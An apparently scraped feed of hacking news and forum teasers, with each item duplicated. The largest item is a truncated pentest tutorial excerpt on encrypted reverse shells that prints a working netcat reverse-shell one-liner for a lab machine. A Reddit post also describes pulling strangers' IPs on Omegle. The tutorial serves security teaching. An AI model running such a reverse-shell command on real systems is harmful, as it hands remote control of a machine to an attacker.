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Hacking on Medium
Facebook Data Breach
https://cdn-images-1.medium.com/max/800/0*BWiLfZxMm82tomp0.png
If you have a Facebook account, you might want to check your account and change your password. On Saturday, the personal information of…
Continue reading on invstr »
Facebook Data Breach
https://cdn-images-1.medium.com/max/800/0*BWiLfZxMm82tomp0.png
If you have a Facebook account, you might want to check your account and change your password. On Saturday, the personal information of…
Continue reading on invstr »
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Hacking on Medium
Case study: Anonymous
https://cdn-images-1.medium.com/max/600/1*TkYRdO3CuCxr4Y0ubPlYJA.jpeg
This article was written by Adriana Roldan Serrano.
Continue reading on Updating Democracy // Rebooting the State »
Case study: Anonymous
https://cdn-images-1.medium.com/max/600/1*TkYRdO3CuCxr4Y0ubPlYJA.jpeg
This article was written by Adriana Roldan Serrano.
Continue reading on Updating Democracy // Rebooting the State »
Automation of the reconnaissance phase during Web Application Penetration Testing III
This article describes automation of a bug finding during Web Application Penetration Testing.Continue reading on Medium »
Read more...
This article describes automation of a bug finding during Web Application Penetration Testing.Continue reading on Medium »
Read more...
Weird and very easy authentication bypass found with Google dorking
In this post, I will explain how I found an authentication bypass, and further explored the functionality of the website, to higher the…Continue reading on InfoSec Write-ups »
Read more...
In this post, I will explain how I found an authentication bypass, and further explored the functionality of the website, to higher the…Continue reading on InfoSec Write-ups »
Read more...
Automation of the reconnaissance phase during Web Application Penetration Testing III
https://karol-mazurek95.medium.com/automation-of-the-reconnaissance-phase-during-web-application-penetration-testing-iii-2823b16f38cc?source=rss------bug_bounty-5
https://karol-mazurek95.medium.com/automation-of-the-reconnaissance-phase-during-web-application-penetration-testing-iii-2823b16f38cc?source=rss------bug_bounty-5
This article describes automation of a bug finding during Web Application Penetration Testing.Continue reading on Medium » (https://karol-mazurek95.medium.com/automation-of-the-reconnaissance-phase-during-web-application-penetration-testing-iii-2823b16f38cc?source=rss------bug_bounty-5)
Weird and very easy authentication bypass found with Google dorking
https://infosecwriteups.com/weird-and-very-easy-authentication-bypass-found-with-google-dorking-c13230a038ed?source=rss------bug_bounty-5
https://infosecwriteups.com/weird-and-very-easy-authentication-bypass-found-with-google-dorking-c13230a038ed?source=rss------bug_bounty-5
In this post, I will explain how I found an authentication bypass, and further explored the functionality of the website, to higher the…Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/weird-and-very-easy-authentication-bypass-found-with-google-dorking-c13230a038ed?source=rss------bug_bounty-5)
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Hacking Articles
Encrypted Reverse Shell for Pentester
Reverse shell that is generally used in the wild are prone to sniffing attacks as the communication that happens between the attacker and the victim machine is clear text-based communication. This creates an issue as if the Security Administrators that are responsible for the protection of the Victim System and
The post Encrypted Reverse Shell for Pentester appeared first on Hacking Articles.
Encrypted Reverse Shell for Pentester
Reverse shell that is generally used in the wild are prone to sniffing attacks as the communication that happens between the attacker and the victim machine is clear text-based communication. This creates an issue as if the Security Administrators that are responsible for the protection of the Victim System and
The post Encrypted Reverse Shell for Pentester appeared first on Hacking Articles.
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hacking: security in practice
Constant ddos attacks
Hy, we have problem with your server, we'r constantly ddosed, our machine is separated on 8 VM which are running game servers.When attack happen, all of servers are lagging, and going down.We tryed to make "anti ddos" script, but it doesnt help much, also i was able to get infos on attacker by tracking attack, but still we are not sure is the IP 100% attacker, or victim of botnet, backdoor, malware etc. Also host provider is useless, they dont know what to do..Last option is including LE.Paying someone to block ddos attack is pointless from our stand.Any advices?Also attacker is spoofing vps most likely.So do you have any advices guys?
edit: Machine is running Ubuntu linux, and we have full ROOT control
submitted by /u/sk3301
[link] [comments]
Constant ddos attacks
Hy, we have problem with your server, we'r constantly ddosed, our machine is separated on 8 VM which are running game servers.When attack happen, all of servers are lagging, and going down.We tryed to make "anti ddos" script, but it doesnt help much, also i was able to get infos on attacker by tracking attack, but still we are not sure is the IP 100% attacker, or victim of botnet, backdoor, malware etc. Also host provider is useless, they dont know what to do..Last option is including LE.Paying someone to block ddos attack is pointless from our stand.Any advices?Also attacker is spoofing vps most likely.So do you have any advices guys?
edit: Machine is running Ubuntu linux, and we have full ROOT control
submitted by /u/sk3301
[link] [comments]
reddit
Constant ddos attacks
Hy, we have problem with your server, we'r constantly ddosed, our machine is separated on 8 VM which are running game servers.When attack happen,...
hacking: security in practice
How is this voice modulator for harmless trolling (ip pulling, etc)?
My thing that I do is I'll pull someone's IP in omegle (or something), tell them their location, and, if they don't skip me, recommend a VPN to protect themselves. I wanted to start using my voice a bit, but I'm not comfortable showing my actual voice. Let me know what you think of this. Is it even understandable?
https://drive.google.com/file/d/1RLMX_iyctQIPxdZgD9DCUCnc6BNOVRhQ/view?usp=sharing
submitted by /u/Plenty_Celebration_4
[link] [comments]
How is this voice modulator for harmless trolling (ip pulling, etc)?
My thing that I do is I'll pull someone's IP in omegle (or something), tell them their location, and, if they don't skip me, recommend a VPN to protect themselves. I wanted to start using my voice a bit, but I'm not comfortable showing my actual voice. Let me know what you think of this. Is it even understandable?
https://drive.google.com/file/d/1RLMX_iyctQIPxdZgD9DCUCnc6BNOVRhQ/view?usp=sharing
submitted by /u/Plenty_Celebration_4
[link] [comments]
reddit
How is this voice modulator for harmless trolling (ip pulling, etc)?
My thing that I do is I'll pull someone's IP in omegle (or something), tell them their location, and, if they don't skip me, recommend a VPN to...
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hacking: security in practice
The CTO of the crypto "ARMOR" pays a $1.5MM smart contract bug bounty and gets a TATTOO in tribute of the hacker
https://external-preview.redd.it/ZPoi-jxOuKW8hbRrHB8olSojfW1BPwaRfHBGeP0-O7w.jpg?width=108&crop=smart&auto=webp&s=a705818dd68ed9aed6bc11ca6f1b7f238706f202 submitted by /u/endless
[link] [comments]
The CTO of the crypto "ARMOR" pays a $1.5MM smart contract bug bounty and gets a TATTOO in tribute of the hacker
https://external-preview.redd.it/ZPoi-jxOuKW8hbRrHB8olSojfW1BPwaRfHBGeP0-O7w.jpg?width=108&crop=smart&auto=webp&s=a705818dd68ed9aed6bc11ca6f1b7f238706f202 submitted by /u/endless
[link] [comments]
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Hacking Articles|Raj Chandel's Blog
Encrypted Reverse Shell for Pentester
Reverse shell that are generally used in the wild are prone to sniffing attacks as the communication that happens between the attacker and the victim machine is clear text-based communication. This creates an issue as if the Security Administrators that are responsible for the protection of the Victim System and Network can not only see the commands that are run on the Victim but also see the output that is displayed to the attacker. This can help them formulate a plan to counter the attack and understand the threat actor. This leaves attacker in a vulnerable position. Hence, today we are going to test a bunch of tools and their ability to encrypt the reverse shell communication.
<o:p Table of Contents<o:p· Introduction<o:p
o What is Reverse Shell?<o:p
o What is Encrypted Shell?<o:p
· VM Configurations<o:p
· Netcat Reverse Shell<o:p
· Ncat Reverse Shell<o:p
· Cryptcat Reverse Shell<o:p
· Socat Reverse Shell<o:p
· Openssl Reverse Shell<o:p
· Conclusion <o:p Introduction<o:pWhat is a Reverse Shell?<o:pReverse Shell is one of the terminologies that we and other people in our industry use very frequently but when it comes to defining it, that’s where we go on to provide examples to explain what we mean when we say reverse shell. But the question remains What is a reverse shell? Reverse Shell is when one machine connects to another machine but the initiating machine forwards its shell to the destination machine. Reverse Shell are mostly seen in the Penetration Testing Environment, if ever seen outside that environment, that means an attack of some sort is in motion. They reason reverse shell should be take very seriously is because it provides the attacker an interactive shell on a machine which they can then use to mount any attack of their choice. Gaining the Reverse Shell can be termed as Getting Initial Foothold.<o:p What is an Encrypted Shell?<o:pEncrypted shells, as the name recommends, encrypt the communication, in this manner denying middle person sniffers to unravel what we are attempting to achieve on the target machine.<o:p VM Configurations<o:pIn order to gain a reverse shell and use it to demonstrate, we will be using two machines. Kali Linux will pose as an attacker machine and Ubuntu will pose as a target machine. Default user on Ubuntu machine is raj. <o:p
Kali Linux: IP Address: 192.168.1.5<o:p
Ubuntu: IP Address: 192.168.1.2<o:p Netcat Reverse Shell<o:pTo begin, let’s understand the netcat (nc). It is a networking utility for reading from and writing to network connections using TCP or UDP. It is a feature-rich network debugging and investigation tool; it can produce any kind of connection its user could need and has a number of built-in capabilities. But the reverse shell that is created using the netcat can be subjected to sniffing using Wireshark. This is due to the lack of encryption on it. As we are going to look at multiple reverse shell that are encrypted, let’s first look at the one which is not encrypted. To do this we will be using a one liner to create a reverse shell on our Ubuntu Device. <o:p rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 1234 >/tmp/f<o:phttps://1.bp.blogspot.com/-wZq3os5F9Rs/YGrdH1l4cOI/AAAAAAAAvNw/PRkmS-JksRU2Y7U8onevSSGbFFhP-iU-QCLcBGAsYHQ/s16000/1.png <v:shapetype<v:stroke<v:formulas<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:path<o:lock<v:shape<v:imagedata<o:p
Before starting the reverse shell on Ubuntu, we need to start a listener which will capture the shell after invocation. As the shell invocation command is executed, we see [...]
Encrypted Reverse Shell for Pentester
Reverse shell that are generally used in the wild are prone to sniffing attacks as the communication that happens between the attacker and the victim machine is clear text-based communication. This creates an issue as if the Security Administrators that are responsible for the protection of the Victim System and Network can not only see the commands that are run on the Victim but also see the output that is displayed to the attacker. This can help them formulate a plan to counter the attack and understand the threat actor. This leaves attacker in a vulnerable position. Hence, today we are going to test a bunch of tools and their ability to encrypt the reverse shell communication.
<o:p Table of Contents<o:p· Introduction<o:p
o What is Reverse Shell?<o:p
o What is Encrypted Shell?<o:p
· VM Configurations<o:p
· Netcat Reverse Shell<o:p
· Ncat Reverse Shell<o:p
· Cryptcat Reverse Shell<o:p
· Socat Reverse Shell<o:p
· Openssl Reverse Shell<o:p
· Conclusion <o:p Introduction<o:pWhat is a Reverse Shell?<o:pReverse Shell is one of the terminologies that we and other people in our industry use very frequently but when it comes to defining it, that’s where we go on to provide examples to explain what we mean when we say reverse shell. But the question remains What is a reverse shell? Reverse Shell is when one machine connects to another machine but the initiating machine forwards its shell to the destination machine. Reverse Shell are mostly seen in the Penetration Testing Environment, if ever seen outside that environment, that means an attack of some sort is in motion. They reason reverse shell should be take very seriously is because it provides the attacker an interactive shell on a machine which they can then use to mount any attack of their choice. Gaining the Reverse Shell can be termed as Getting Initial Foothold.<o:p What is an Encrypted Shell?<o:pEncrypted shells, as the name recommends, encrypt the communication, in this manner denying middle person sniffers to unravel what we are attempting to achieve on the target machine.<o:p VM Configurations<o:pIn order to gain a reverse shell and use it to demonstrate, we will be using two machines. Kali Linux will pose as an attacker machine and Ubuntu will pose as a target machine. Default user on Ubuntu machine is raj. <o:p
Kali Linux: IP Address: 192.168.1.5<o:p
Ubuntu: IP Address: 192.168.1.2<o:p Netcat Reverse Shell<o:pTo begin, let’s understand the netcat (nc). It is a networking utility for reading from and writing to network connections using TCP or UDP. It is a feature-rich network debugging and investigation tool; it can produce any kind of connection its user could need and has a number of built-in capabilities. But the reverse shell that is created using the netcat can be subjected to sniffing using Wireshark. This is due to the lack of encryption on it. As we are going to look at multiple reverse shell that are encrypted, let’s first look at the one which is not encrypted. To do this we will be using a one liner to create a reverse shell on our Ubuntu Device. <o:p rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 1234 >/tmp/f<o:phttps://1.bp.blogspot.com/-wZq3os5F9Rs/YGrdH1l4cOI/AAAAAAAAvNw/PRkmS-JksRU2Y7U8onevSSGbFFhP-iU-QCLcBGAsYHQ/s16000/1.png <v:shapetype<v:stroke<v:formulas<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:path<o:lock<v:shape<v:imagedata<o:p
Before starting the reverse shell on Ubuntu, we need to start a listener which will capture the shell after invocation. As the shell invocation command is executed, we see [...]